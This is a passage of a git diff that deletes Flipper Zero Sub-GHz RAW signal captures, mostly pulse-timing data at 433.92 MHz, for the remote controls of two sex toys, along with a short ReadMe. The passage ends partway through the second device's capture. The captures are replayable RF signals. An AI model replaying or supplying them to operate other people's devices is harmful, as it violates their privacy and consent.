-66 1671 -66 3205 -100 2741 -68 6231 -66 2401 -66 2443 -100 1595 -68 565 -98 5893 -66 16613 -66 499 -66 10829 -66 3909 -66 10763 -66 2695 -196 429 -230 3987 -98 559 -66 4527 -198 1251 -100 5163 -98 893 -98 9429 -98 467 -66 1501 -98 6061 -66 3715 -66 3101 -66 3109 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_2.sub deleted file mode 100644 index 3b813f81f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 14501 5769 20813 -98 1415 -66 4073 -198 1121 -100 1839 -68 8373 -132 5885 -100 7225 -68 3813 -64 2765 -66 2109 -66 2163 -66 1729 -100 2509 -66 5901 -68 4939 -66 5415 -66 1835 -98 4793 -100 5873 -66 1877 -66 1507 -66 4757 -132 3929 -856 411 -844 425 -840 421 -848 443 -814 449 -820 421 -842 447 -848 1673 -438 429 -410 413 -448 397 -432 409 -448 419 -852 419 -848 419 -858 413 -416 417 -418 451 -404 423 -840 415 -446 409 -444 411 -414 425 -850 413 -420 433 -854 413 -420 431 -854 387 -446 417 -854 427 -410 415 -850 435 -428 415 -846 419 -860 411 -844 427 -852 411 -868 379 -852 435 -864 417 -846 397 -852 449 -824 1701 -414 417 -450 385 -450 405 -424 441 -414 413 -852 413 -848 421 -854 413 -416 435 -426 407 -416 445 -848 413 -844 423 -426 407 -416 449 -854 409 -844 425 -850 387 -446 415 -868 379 -450 393 -886 389 -446 415 -836 415 -450 389 -850 425 -874 419 -852 411 -846 417 -836 415 -852 427 -840 417 -848 439 -844 423 -850 1669 -450 415 -416 427 -398 435 -418 415 -454 401 -862 417 -848 403 -882 383 -450 405 -424 443 -414 413 -850 413 -844 425 -426 405 -416 445 -846 411 -846 419 -838 417 -450 405 -854 413 -412 433 -848 423 -414 411 -880 383 -450 407 -854 415 -868 381 -902 379 -872 409 -868 417 -846 399 -848 417 -850 427 -836 453 -820 1669 -452 423 -400 435 -418 415 -420 437 -432 417 -846 409 -850 413 -876 399 -422 443 -414 411 -422 413 -872 417 -852 409 -418 415 -418 443 -840 417 -848 443 -848 419 -398 433 -844 427 -428 409 -844 425 -428 405 -846 429 -426 409 -878 399 -854 413 -852 423 -838 417 -850 405 -850 417 -858 413 -842 435 -862 415 -844 1651 -454 391 -450 409 -428 407 -448 419 -428 399 -858 419 -844 401 -852 413 -452 405 -428 407 -448 413 -848 413 -844 427 -430 407 -418 417 -848 441 -844 425 -852 411 -410 439 -844 419 -398 435 -846 425 -412 411 -878 399 -424 443 -844 401 -884 385 -852 423 -874 419 -818 441 -846 425 -852 415 -834 443 -834 411 -848 1677 -442 409 -434 417 -448 419 -418 407 -424 443 -844 399 -852 415 -850 411 -444 411 -420 431 -432 407 -842 429 -856 413 -418 431 -428 407 -876 397 -854 415 -854 427 -410 415 -884 399 -428 385 -878 411 -424 425 -838 417 -420 409 -119984 97 -300 163 -198 703 -98 1261 -134 129 -100 2119 -66 461 -66 9285 -166 6799 -66 1723 -132 3555 -66 6313 -100 623 -166 859 -66 4783 -66 1249 -66 1941 -132 3717 -66 161 -98 14521 -64 4897 -66 195 -66 887 -66 -RAW_Data: 4667 -66 2895 -68 7017 -66 5905 -68 22971 -66 12701 -100 7245 -66 15937 -98 11821 -66 15685 -130 7685 -100 3427 -66 6355 -98 787 -66 1519 -66 233 -66 4461 -66 2929 -100 20309 -66 1095 -66 3407 -134 399 -100 633 -66 2571 -66 1977 -100 12885 -66 527 -66 829 -66 2025 -64 299 -100 2259 -64 2043 -66 9949 -134 2865 -66 10335 -68 2803 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_3.sub deleted file mode 100644 index c14c29304..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -100 497 -66 1895 1094 15185 -66 1333 -66 495 -66 12129 -98 5855 -66 3755 -166 1721 -66 259 -100 6261 -100 5955 -66 361 -132 2365 -66 1119 -64 231 -130 457 -66 1423 -100 2709 -100 131 -66 3071 -100 1397 -66 8451 -98 12967 -68 899 -66 733 -100 7313 -66 5219 -132 10993 -66 5247 -98 1387 -100 1037 -812 439 -870 409 -826 449 -842 401 -850 413 -854 423 -838 413 -878 1661 -450 407 -426 409 -448 413 -418 411 -446 383 -868 411 -882 415 -836 415 -448 413 -418 411 -444 415 -854 397 -866 417 -418 407 -456 379 -878 417 -856 413 -880 399 -426 409 -876 401 -424 445 -846 397 -424 441 -844 403 -424 411 -878 397 -882 385 -852 425 -874 415 -856 411 -846 387 -890 379 -882 399 -860 417 -846 1689 -418 395 -448 445 -420 379 -448 409 -426 411 -840 417 -886 409 -846 427 -448 379 -424 411 -878 397 -422 445 -416 411 -422 411 -878 411 -420 413 -446 415 -870 379 -448 393 -870 413 -444 407 -844 423 -430 407 -846 425 -444 413 -848 401 -882 385 -870 413 -852 395 -864 417 -850 405 -882 383 -886 417 -846 407 -850 1699 -426 407 -418 411 -446 411 -446 413 -410 439 -842 427 -852 413 -850 425 -442 381 -450 427 -852 413 -420 431 -430 407 -418 415 -848 437 -420 415 -416 439 -858 385 -416 445 -846 413 -416 447 -846 411 -416 445 -846 413 -416 417 -846 439 -846 421 -852 417 -846 409 -870 419 -846 433 -844 385 -852 423 -876 413 -842 1699 -398 435 -416 451 -386 441 -412 415 -450 421 -838 413 -856 421 -838 419 -418 409 -440 445 -834 411 -446 419 -418 411 -426 443 -808 465 -390 443 -414 413 -850 417 -416 445 -842 417 -416 451 -816 443 -416 417 -846 443 -388 449 -842 441 -814 447 -836 413 -856 425 -838 421 -846 439 -844 423 -852 411 -858 429 -838 1711 -388 443 -382 445 -422 425 -412 415 -452 423 -822 451 -848 411 -846 447 -382 445 -416 409 -846 447 -420 427 -408 415 -454 421 -820 421 -444 107 -430 415 -840 409 -414 443 -858 397 -432 133 -1160 413 -412 409 -842 447 -420 427 -908 347 -854 443 -912 353 -822 435 -992 259 -870 415 -1042 237 -834 409 -1116 179 -818 1299 -228 157 -432 449 -412 407 -438 99 -246 71 -430 417 -418 415 -856 429 -836 419 -848 435 -386 447 -416 451 -832 415 -416 447 -416 241 -578 423 -878 413 -546 299 -416 413 -850 409 -412 441 -850 407 -620 247 -858 421 -414 385 -882 413 -416 447 -128220 197 -66 595 -332 363 -66 97 -100 97 -132 5525 -66 4593 -66 3581 -134 3469 -64 19321 -100 3839 -66 755 -66 3461 -100 3097 -RAW_Data: -166 7871 -132 2321 -66 12543 -98 3371 -68 6283 -132 1095 -100 2981 -64 10103 -66 3187 -100 717 -98 259 -66 10437 -164 18377 -100 1565 -66 5073 -66 6551 -100 1597 -66 663 -66 14769 -98 3397 -100 1001 -100 2007 -66 3139 -66 8713 -66 13605 -66 3061 -64 7073 -164 8571 -132 4477 -100 991 -134 4003 -66 4041 -100 497 -68 3513 -164 7507 -66 6937 -100 895 -66 303 -98 6823 -66 2649 -68 1861 -100 2817 -100 7869 -164 2185 -100 2239 -98 1723 -68 5005 -66 1753 -166 4843 -66 1483 -98 871 -68 3951 -134 2177 -66 2411 -66 4461 -102 15131 -66 529 -66 2755 -98 4123 -66 2227 -64 523 -100 4565 -64 12045 -98 6209 -66 3307 -100 1295 -66 591 -64 2339 -66 229 -66 1455 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_4.sub deleted file mode 100644 index 7e6217f28..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 8768 10163 -68 4091 -134 3649 -134 3025 -98 1675 -66 2875 -66 5281 -66 2225 -66 8519 -66 5743 -100 4549 -100 1913 -100 637 -132 463 -66 3811 -66 8571 -68 2661 -66 559 -134 3499 -168 26143 -66 8197 -66 301 -66 3389 -66 3057 -98 99 -66 1323 -66 4795 -66 399 -100 2507 -842 409 -852 411 -876 395 -848 417 -852 423 -872 409 -860 415 -844 1689 -416 429 -412 411 -446 411 -434 417 -448 385 -850 425 -874 383 -850 437 -418 415 -452 399 -432 417 -844 417 -862 413 -418 415 -454 401 -860 417 -848 437 -846 387 -442 409 -876 395 -424 441 -844 435 -422 413 -844 403 -456 413 -848 399 -880 383 -870 411 -850 395 -866 417 -848 439 -846 421 -834 415 -852 423 -836 1709 -416 445 -416 411 -444 413 -418 425 -410 445 -842 401 -882 385 -868 413 -416 435 -426 407 -876 397 -426 411 -448 407 -440 417 -846 407 -452 379 -448 415 -868 409 -416 417 -868 411 -420 433 -850 415 -450 401 -856 411 -410 423 -848 415 -888 385 -878 411 -846 415 -846 421 -874 383 -856 425 -872 407 -866 417 -844 1687 -418 431 -416 411 -426 443 -414 411 -424 441 -846 417 -822 443 -844 429 -416 413 -424 445 -844 403 -424 441 -412 409 -422 421 -876 419 -392 441 -412 415 -882 399 -432 415 -850 435 -428 387 -876 409 -422 425 -842 419 -420 451 -830 449 -844 397 -850 415 -854 425 -870 407 -826 451 -844 397 -852 415 -856 423 -874 1675 -410 451 -388 441 -444 413 -422 425 -410 445 -844 399 -850 415 -854 423 -446 411 -422 427 -836 415 -452 401 -426 441 -382 451 -858 411 -418 417 -416 453 -836 415 -418 445 -844 411 -416 447 -844 413 -416 445 -846 411 -420 417 -846 439 -844 417 -836 411 -854 423 -872 413 -842 413 -840 427 -836 451 -820 423 -838 1717 -388 447 -416 441 -396 451 -418 415 -410 455 -814 417 -866 411 -856 423 -446 381 -452 425 -820 421 -444 415 -420 433 -398 439 -844 423 -426 441 -382 447 -846 447 -382 447 -846 413 -418 417 -848 439 -388 449 -844 439 -388 447 -842 441 -810 447 -836 413 -864 409 -872 409 -840 421 -848 441 -846 423 -818 453 -844 1693 -414 409 -438 415 -446 415 -410 447 -412 407 -866 419 -846 435 -844 417 -410 445 -414 407 -832 453 -414 421 -426 411 -446 413 -856 399 -436 415 -418 417 -854 421 -442 383 -870 441 -420 415 -834 443 -418 415 -856 425 -408 445 -125288 65 -260 99 -466 399 -330 97 -100 65 -66 5301 -66 3661 -100 12179 -100 7269 -262 723 -66 8985 -66 27713 -66 4807 -164 6587 -64 16439 -98 2691 -100 367 -66 6151 -98 3479 -RAW_Data: -100 731 -66 3535 -66 1289 -100 6935 -68 27439 -66 4471 -66 1443 -66 1809 -66 6449 -166 6919 -66 4573 -66 4829 -66 2563 -66 8397 -100 3413 -68 3185 -100 6901 -66 13849 -132 21491 -68 6385 -100 12241 -66 3077 -66 10867 -98 9717 -66 11635 -100 2839 -66 229 -100 21221 -232 1717 -98 8161 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_1.sub deleted file mode 100644 index 32233efd9..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3127 2294 1385 -66 1641 -98 2195 -66 1015 -68 2727 -66 65 -66 2053 -68 759 -66 2699 -66 15591 -100 9109 -66 18395 -96 1873 -66 2813 -198 22249 -100 3689 -68 1531 -134 11271 -64 13745 -100 8153 -846 399 -876 391 -878 381 -904 377 -900 377 -876 397 -882 383 -862 1663 -442 415 -450 421 -416 409 -422 445 -414 417 -858 411 -848 423 -852 381 -444 423 -444 413 -418 411 -440 417 -846 405 -460 387 -444 417 -442 409 -844 421 -852 381 -474 407 -846 425 -428 409 -844 425 -428 407 -874 397 -426 409 -876 397 -848 417 -870 379 -882 397 -864 417 -846 403 -848 417 -884 389 -876 411 -844 1671 -450 407 -426 409 -448 413 -416 411 -442 383 -884 399 -860 383 -880 397 -850 417 -450 405 -426 409 -448 411 -852 413 -418 415 -454 409 -442 383 -882 399 -864 417 -420 443 -838 417 -420 405 -856 449 -416 407 -850 447 -416 409 -864 417 -846 397 -880 385 -870 413 -854 427 -836 417 -850 435 -848 387 -886 387 -876 1663 -448 409 -422 425 -442 383 -448 429 -414 411 -852 415 -854 425 -838 413 -876 411 -418 413 -450 399 -436 417 -874 399 -430 387 -446 417 -450 403 -848 417 -852 425 -442 383 -882 397 -432 417 -880 413 -440 387 -840 447 -418 397 -868 417 -846 437 -844 425 -854 415 -870 387 -872 411 -850 413 -844 425 -850 415 -852 1709 -432 389 -440 415 -418 395 -436 435 -416 413 -878 411 -848 419 -850 387 -874 409 -422 411 -448 415 -412 421 -880 383 -450 407 -430 407 -418 443 -848 411 -848 423 -456 413 -844 435 -388 445 -844 403 -454 415 -844 405 -454 413 -848 401 -882 387 -850 425 -874 411 -848 409 -844 425 -850 417 -846 409 -854 415 -878 1647 -452 133 -72 209 -426 433 -428 405 -418 171 -398 409 -870 415 -848 399 -884 383 -884 387 -444 417 -410 425 -426 409 -844 427 -426 441 -416 409 -438 417 -846 407 -850 447 -414 411 -864 417 -416 411 -852 413 -450 407 -862 417 -414 411 -852 447 -844 399 -850 413 -870 413 -838 415 -868 411 -882 379 -868 413 -876 397 -850 1699 -416 387 -450 395 -442 411 -448 409 -438 419 -846 407 -850 447 -846 399 -852 413 -452 405 -428 407 -448 411 -848 411 -418 411 -450 415 -412 447 -848 381 -874 433 -388 443 -842 435 -414 411 -878 409 -412 411 -876 411 -416 411 -135508 65 -2342 165 -536 725 -66 227 -264 99 -66 229 -132 99 -166 13797 -100 2413 -66 7893 -66 5039 -134 4175 -68 269 -100 6293 -66 2543 -66 6611 -132 4981 -100 4329 -64 229 -64 3063 -100 9575 -66 12669 -132 1773 -164 1563 -66 15307 -100 12671 -130 -RAW_Data: 3713 -66 131 -66 1773 -66 14239 -66 45989 -68 5061 -68 19555 -100 16001 -66 4121 -66 7429 -68 2921 -66 3369 -130 4211 -100 10169 -66 625 -98 561 -100 15417 -68 97 -66 5045 -66 1425 -66 2119 -68 2371 -66 5173 -66 14625 -68 6539 -66 7319 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_2.sub deleted file mode 100644 index 2181ede1f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -98 11893 11058 10959 -66 22729 -100 13097 -66 5669 -98 1355 -68 8475 -100 929 -66 28751 -66 9865 -66 15543 -100 3013 -100 44013 -64 1343 -100 26425 -98 21805 -98 2135 -66 6217 -134 3331 -882 383 -870 411 -838 421 -840 445 -846 413 -844 423 -852 413 -888 1669 -436 387 -446 417 -450 403 -428 409 -446 419 -850 409 -846 419 -870 383 -852 425 -444 383 -448 423 -398 437 -842 427 -428 407 -418 417 -450 411 -840 417 -848 403 -454 415 -846 435 -388 443 -848 401 -424 447 -842 405 -422 441 -846 401 -854 415 -852 427 -840 413 -876 409 -838 427 -856 415 -838 421 -876 411 -844 1669 -450 407 -428 409 -416 443 -418 395 -472 411 -838 423 -840 413 -878 411 -844 425 -426 407 -446 411 -848 413 -416 449 -424 409 -446 381 -886 397 -430 447 -840 423 -444 413 -838 423 -442 383 -882 397 -438 417 -846 437 -432 419 -842 409 -866 417 -844 401 -850 417 -850 423 -840 445 -848 411 -870 395 -872 415 -838 1707 -420 383 -450 425 -398 435 -448 407 -434 387 -876 409 -852 415 -844 427 -854 413 -442 407 -418 417 -846 437 -388 445 -416 411 -426 423 -872 407 -438 387 -870 411 -434 415 -846 407 -424 443 -846 407 -452 381 -876 409 -436 419 -846 407 -890 383 -876 397 -850 415 -836 411 -878 409 -848 413 -842 427 -836 451 -850 1669 -438 417 -450 383 -452 403 -428 409 -416 443 -848 413 -844 427 -852 411 -852 427 -442 381 -450 427 -854 379 -450 427 -430 407 -418 415 -882 411 -418 415 -848 437 -388 445 -844 403 -424 445 -846 397 -426 441 -844 401 -520 343 -822 429 -984 281 -856 405 -1020 259 -870 411 -1116 135 -858 395 -1134 177 -832 401 -850 131 -252 1313 -436 417 -418 417 -450 403 -426 441 -384 443 -850 415 -844 425 -850 413 -868 413 -444 391 -444 415 -846 435 -388 443 -418 409 -428 417 -884 413 -410 423 -840 417 -420 437 -856 417 -416 381 -878 415 -418 415 -850 441 -416 415 -850 439 -846 417 -852 417 -846 415 -860 413 -846 427 -850 417 -846 407 -882 383 -878 1681 -412 423 -442 417 -416 407 -436 415 -450 385 -886 387 -874 411 -848 413 -846 427 -424 447 -414 409 -864 419 -418 409 -438 417 -416 417 -854 395 -470 381 -850 435 -432 419 -846 409 -420 423 -838 447 -416 411 -876 417 -424 409 -134478 129 -98 67 -728 265 -132 133 -100 163 -168 265 -66 133 -98 133 -364 65 -200 165 -164 7645 -100 9621 -132 21331 -68 15509 -100 12455 -66 23139 -100 4549 -68 199 -66 3317 -66 3093 -100 4177 -66 48579 -66 1891 -100 3615 -66 3293 -68 6249 -98 21645 -66 12003 -RAW_Data: -66 2529 -134 1093 -100 19319 -164 16107 -66 43667 -198 24705 -98 1943 -166 11199 -66 4539 -132 3017 -66 7187 -66 3055 -66 1593 -68 863 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_3.sub deleted file mode 100644 index 67930c57d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_3.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 7895 7063 33537 -132 16657 -66 9053 -66 21375 -66 61263 -876 397 -884 383 -852 423 -840 419 -882 411 -814 451 -852 387 -876 1665 -446 411 -420 425 -442 381 -452 425 -400 437 -842 425 -836 447 -836 415 -868 409 -420 429 -428 407 -844 427 -424 443 -414 407 -440 415 -844 409 -436 415 -846 451 -402 423 -840 419 -420 451 -834 411 -412 443 -846 413 -414 445 -848 411 -842 427 -836 451 -852 387 -876 413 -848 415 -846 423 -852 413 -852 425 -840 1037 -418 411 -446 411 -448 413 -410 423 -424 443 -844 403 -848 415 -852 421 -878 411 -416 409 -446 415 -856 397 -866 419 -416 411 -420 411 -878 411 -850 449 -844 399 -426 411 -840 429 -424 443 -844 397 -426 443 -842 431 -418 417 -846 433 -846 383 -854 423 -874 385 -850 441 -848 423 -818 421 -876 419 -818 439 -844 1679 -448 415 -410 447 -412 409 -434 415 -418 419 -886 387 -842 447 -846 413 -844 423 -410 445 -416 407 -870 419 -846 403 -424 445 -414 419 -856 413 -842 427 -854 411 -442 409 -844 425 -424 441 -844 399 -424 443 -810 427 -410 447 -846 403 -850 451 -818 421 -878 411 -846 413 -844 425 -854 409 -834 411 -878 411 -850 1703 -416 411 -426 411 -446 413 -418 423 -442 413 -834 409 -886 399 -828 451 -842 435 -386 447 -414 441 -840 419 -848 433 -388 445 -414 411 -854 449 -844 397 -852 413 -440 427 -842 423 -416 411 -852 415 -452 405 -856 411 -410 455 -840 385 -856 423 -870 407 -826 451 -842 399 -850 413 -854 397 -866 419 -846 403 -848 1705 -420 415 -420 433 -428 441 -382 445 -418 409 -878 413 -842 411 -844 427 -854 413 -440 411 -416 417 -850 439 -846 419 -418 411 -426 409 -844 427 -870 385 -888 387 -446 415 -856 395 -438 417 -850 417 -434 395 -866 419 -418 441 -824 417 -878 399 -836 451 -824 411 -874 397 -866 419 -844 437 -812 415 -854 423 -842 1719 -418 413 -412 173 -404 411 -446 409 -442 195 -862 423 -854 165 -828 453 -816 237 -400 443 -414 419 -862 413 -814 451 -416 409 -424 441 -840 401 -870 419 -856 411 -410 457 -814 415 -452 409 -854 411 -410 457 -848 419 -400 433 -128868 99 -424 131 -98 65 -260 65 -264 97 -992 2409 -66 101225 -130 26027 -98 18101 -66 14519 -100 33139 -68 2237 -130 5591 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_4.sub deleted file mode 100644 index ae0acd535..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_4.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3849 2985 11669 -68 53333 -66 1149 -66 129689 -872 375 -884 407 -880 361 -880 387 -908 369 -886 379 -878 399 -884 1679 -416 417 -450 399 -426 407 -446 413 -456 389 -870 409 -864 381 -878 397 -848 417 -442 409 -418 411 -880 413 -846 421 -412 445 -416 407 -870 417 -848 399 -850 415 -452 401 -854 413 -416 433 -854 413 -442 409 -846 425 -430 407 -844 427 -850 413 -886 389 -840 445 -848 411 -846 423 -854 383 -866 411 -882 399 -860 1701 -410 415 -420 441 -410 415 -450 423 -400 431 -844 425 -856 409 -838 423 -874 411 -418 423 -840 419 -420 437 -430 419 -416 415 -836 411 -448 391 -452 409 -852 415 -452 405 -854 413 -418 431 -852 413 -412 425 -850 415 -450 403 -854 413 -856 397 -868 417 -848 397 -882 417 -852 387 -876 383 -886 411 -846 423 -854 1701 -418 415 -444 393 -424 445 -414 409 -434 417 -846 409 -852 449 -842 401 -848 415 -450 405 -850 415 -444 395 -424 445 -414 411 -848 413 -416 445 -418 411 -878 411 -422 427 -838 417 -420 409 -870 417 -418 417 -860 413 -418 415 -848 439 -842 427 -848 415 -852 427 -840 417 -884 409 -846 421 -858 379 -852 435 -862 1667 -428 405 -414 443 -424 427 -408 415 -452 423 -824 415 -882 397 -864 415 -840 437 -412 379 -904 409 -412 445 -614 247 -418 379 -874 409 -426 423 -444 413 -854 135 -68 231 -418 417 -846 411 -418 411 -876 417 -430 311 -942 415 -442 409 -860 415 -840 403 -868 425 -854 413 -840 423 -838 419 -848 439 -816 417 -886 387 -838 1701 -416 417 -454 399 -432 417 -448 385 -454 405 -850 415 -868 417 -848 409 -850 447 -382 445 -848 413 -416 445 -418 411 -446 413 -854 395 -434 415 -446 421 -852 413 -418 431 -836 413 -442 409 -842 429 -426 411 -846 427 -426 443 -842 399 -880 383 -852 423 -874 417 -818 443 -842 423 -852 417 -846 407 -854 415 -844 1685 -454 389 -452 407 -426 407 -444 409 -422 449 -848 415 -840 401 -854 413 -864 409 -446 417 -852 415 -412 425 -426 411 -448 413 -844 415 -418 445 -416 411 -870 409 -436 417 -846 411 -416 411 -876 413 -420 411 -876 417 -428 399 -129016 99 -1458 99 -300 231 -964 165 -998 131 -166 1095 -232 80625 -66 59789 -266 13747 -66 8933 -66 1489 -98 1093 -66 49209 -68 34561 -66 25575 -132 17179 -66 34913 -66 55037 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_off.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_off.sub deleted file mode 100644 index 03a157485..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_off.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 114361 -17230 231 -198 99 -232 99 -298 65 -264 97 -362 131 -196 263 -364 229 -230 163 -330 295 -66 367 -68 731 -66 57901 -14496 133 -1924 99 -364 163 -198 65 -466 197 -364 133 -100 297 -198 267 -134 97 -234 197 -330 131 -132 1589 -826 411 -870 409 -872 409 -860 415 -840 403 -850 415 -888 387 -872 1697 -422 415 -410 421 -444 381 -450 423 -416 411 -426 409 -418 417 -454 415 -404 423 -444 413 -410 423 -424 443 -844 401 -424 443 -414 411 -422 423 -868 409 -860 383 -448 441 -840 419 -418 407 -852 449 -384 437 -868 417 -416 407 -864 417 -846 401 -854 413 -872 387 -840 447 -846 411 -844 429 -852 413 -854 395 -866 1705 -420 415 -416 441 -410 417 -450 417 -410 443 -382 443 -422 411 -446 413 -420 429 -428 409 -418 413 -446 411 -442 413 -408 439 -420 415 -418 409 -440 415 -850 437 -432 415 -846 417 -432 411 -876 385 -452 409 -840 417 -456 397 -864 417 -812 429 -848 417 -868 387 -874 409 -866 419 -848 397 -850 415 -854 425 -840 1709 -390 443 -418 409 -440 417 -416 417 -450 399 -426 441 -414 409 -436 415 -416 417 -418 429 -442 415 -416 409 -438 385 -480 383 -450 403 -426 409 -448 413 -844 413 -416 445 -846 413 -418 443 -848 411 -418 415 -848 437 -420 413 -846 403 -880 417 -834 415 -856 425 -838 415 -876 409 -846 421 -852 413 -834 413 -884 1655 -418 449 -442 387 -444 415 -418 431 -430 405 -418 415 -452 409 -442 381 -450 391 -450 411 -424 445 -416 409 -426 425 -442 383 -448 389 -450 405 -428 409 -846 425 -426 407 -876 395 -428 407 -844 427 -424 443 -842 433 -388 445 -846 403 -884 417 -850 417 -848 407 -850 415 -876 399 -854 415 -850 395 -868 417 -852 1695 -452 401 -428 407 -444 411 -418 425 -444 413 -412 423 -424 441 -414 413 -420 413 -446 413 -412 421 -424 443 -414 409 -438 417 -448 385 -450 407 -426 409 -844 429 -424 441 -846 399 -426 409 -876 397 -424 443 -846 401 -426 443 -844 403 -850 415 -870 413 -836 443 -844 407 -856 415 -878 395 -850 417 -852 427 -838 1707 -420 413 -418 411 -438 417 -448 387 -450 407 -426 409 -448 415 -428 395 -468 383 -448 427 -414 411 -422 443 -414 411 -424 411 -446 417 -408 423 -446 413 -846 405 -454 415 -842 399 -424 443 -846 399 -424 411 -876 403 -424 439 -137706 131 -166 65 -100 265 -266 197 -164 299 -460 1121 -100 429 -66 363 -66 35053 -68 172083 -132 101251 -18404 131 -230 99 -64 131 -66 65 -132 131 -98 197 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/ReadMe.md b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/ReadMe.md deleted file mode 100644 index 245be018f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/ReadMe.md +++ /dev/null @@ -1,2 +0,0 @@ -# Nu Sensuelle 15-Function Vibrating Mini-Plug -## Thanks av0cad0! \ No newline at end of file diff --git a/assets/resources/subghz/Misc/Sextoy/Sexrabbit_Vibrator/Power_Toggle_Long_Press.sub b/assets/resources/subghz/Misc/Sextoy/Sexrabbit_Vibrator/Power_Toggle_Long_Press.sub deleted file mode 100644 index e18526b66..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Sexrabbit_Vibrator/Power_Toggle_Long_Press.sub +++ /dev/null @@ -1,10 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 249 -655 394 -462 532 -529 666 -423 399 -205 142 -116 178 -576 142 -388 426 -380 388 -491 350 -210 612 -457 315 -227 128 -122 405 -561 291 -116 557 -652 488 -108 199 -115 488 -137 377 -535 487 -406 697 -275 187 -630 336 -648 150 -127 355 -455 107 -323 450 -354 534 -676 449 -483 427 -129 169 -587 634 -108 375 -445 497 -440 591 -622 247 -275 121 -610 300 -180 143 -452 167 -439 547 -587 108 -215 606 -299 252 -202 493 -551 138 -574 406 -633 353 -255 345 -296 193 -373 604 -217 256 -300 465 -124 335 -474 -RAW_Data: 13377 -2814 457 -468 5487 -5620 1529 -468 1549 -428 1555 -438 543 -2012 567 -2002 1601 -410 1567 -416 577 -1986 625 -1970 611 -1954 623 -1966 1605 -380 1611 -386 605 -1978 611 -1966 1579 -392 429 -378 405 -6804 5597 -5534 1609 -390 1565 -420 1581 -416 575 -2004 611 -1946 1603 -384 1597 -420 581 -1992 591 -1998 575 -2004 575 -1998 1571 -418 1601 -382 595 -2004 583 -1978 1589 -420 357 -418 387 -8428 5579 -5524 1635 -378 1575 -412 1597 -414 581 -1974 601 -1964 1601 -418 1569 -382 609 -2008 587 